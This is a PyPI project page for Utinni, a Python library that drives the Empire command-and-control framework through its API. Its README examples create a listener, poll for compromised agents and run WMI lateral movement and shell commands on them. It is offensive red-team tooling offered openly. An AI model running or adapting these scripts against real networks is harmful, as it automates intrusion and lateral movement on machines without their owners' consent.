Skip to main content

Async client library for Empire's RESTful API

Project description

Utinni

Utinni

An async Python client library for Empire's RESTful API

(Only works with the BC-Security Empire fork)

Sponsors

Table of Contents

Installing

pip3 install utinni

Examples

See the examples folder for more.

Simple example showing basic usage:

import asyncio
from utinni import EmpireApiClient

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    print("* Waiting for agents...")
    while True:
        # Poll for new agents every 1 sec
        for agent in await empire.agents.get():

            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Execute a module on the agent
            module_output = await agent.execute(
                    "powershell/lateral_movement/invoke_wmi",
                    options={
                        "ComputerName": "targethost",
                        "Listener": "Utinni",
                    },
                )

            print(f"++ Executed invoke_wmi module on agent '{agent.name}'")
            print(f"++ Module output: {module_output}")

        await asyncio.sleep(1)

# Start the event loop
asyncio.run(main())

Example with background tasks:

import asyncio
from utinni import EmpireApiClient

async def agent_poller(empire):
    # Poll for new agents every 1 sec
    print("* Waiting for agents...")
    while True:
        for agent in await empire.agents.get():
            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Do whatever you want with the agent object here and it won't block the main thread
            # In this example executing we're executing a shell command
            cmd_output = await agent.shell("dir")

            print("++ Executed shell command")
            print(f"++ Output: {cmd_output}")

        await asyncio.sleep(1)

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    # Start the 'agent_poller' coroutine as a background task 
    agent_poller_task = asyncio.create_task(agent_poller(empire))

    # Do more stuff here as this thread isn't blocked.
    available_empire_modules = await empire.modules.get()

    # Wait for the agent_poller_task to complete
    # in this example it won't ever finish since it's in a infinite loop.
    await agent_poller_task

# Start the event loop
asyncio.run(main())

FAQ

1. Why?

This was originally made for the DeathStar project, the author then realized it would be useful as a stand-alone library.

2. Why doesn't this library provide a sync API?

Cause it doesn't make sense. In 99% of all use cases you're going to want to call/execute/query/do multiple things at the same time. This is legitimately the perfect use case of AsyncIO.

3. Will this work with the original Empire repository and not the BC-Security Fork?

Probably not. You're welcome to try though.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

utinni-0.5.0.tar.gz (18.4 kB view details)

Uploaded Source

Built Distribution

utinni-0.5.0-py3-none-any.whl (30.6 kB view details)

Uploaded Python 3

File details

Details for the file utinni-0.5.0.tar.gz.

File metadata

  • Download URL: utinni-0.5.0.tar.gz
  • Upload date:
  • Size: 18.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.1.4 CPython/3.9.0 Darwin/20.2.0

File hashes

Hashes for utinni-0.5.0.tar.gz
Algorithm Hash digest
SHA256 594f1787412443cae6f04d68babb55988e1d48de21eaff8f83b1d0884a9532cc
MD5 4a130e4546b770be6b1e009a5a0d1a84
BLAKE2b-256 54317c49f558fda5e46358ed3a777115714b9a93190c3377079b9db650eb60b9

See more details on using hashes here.

File details

Details for the file utinni-0.5.0-py3-none-any.whl.

File metadata

  • Download URL: utinni-0.5.0-py3-none-any.whl
  • Upload date:
  • Size: 30.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.1.4 CPython/3.9.0 Darwin/20.2.0

File hashes

Hashes for utinni-0.5.0-py3-none-any.whl
Algorithm Hash digest
SHA256 99a462885b7a9ff919630b9659efe5b5a3b5092d635a4dccaa758a79a66a90e5
MD5 1e1814e039c2ca60578abdd5a1a0beab
BLAKE2b-256 01e282662798ac3a84056e67fa1f98d4bbce8167c883efc6c8a7637a42914fdf

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page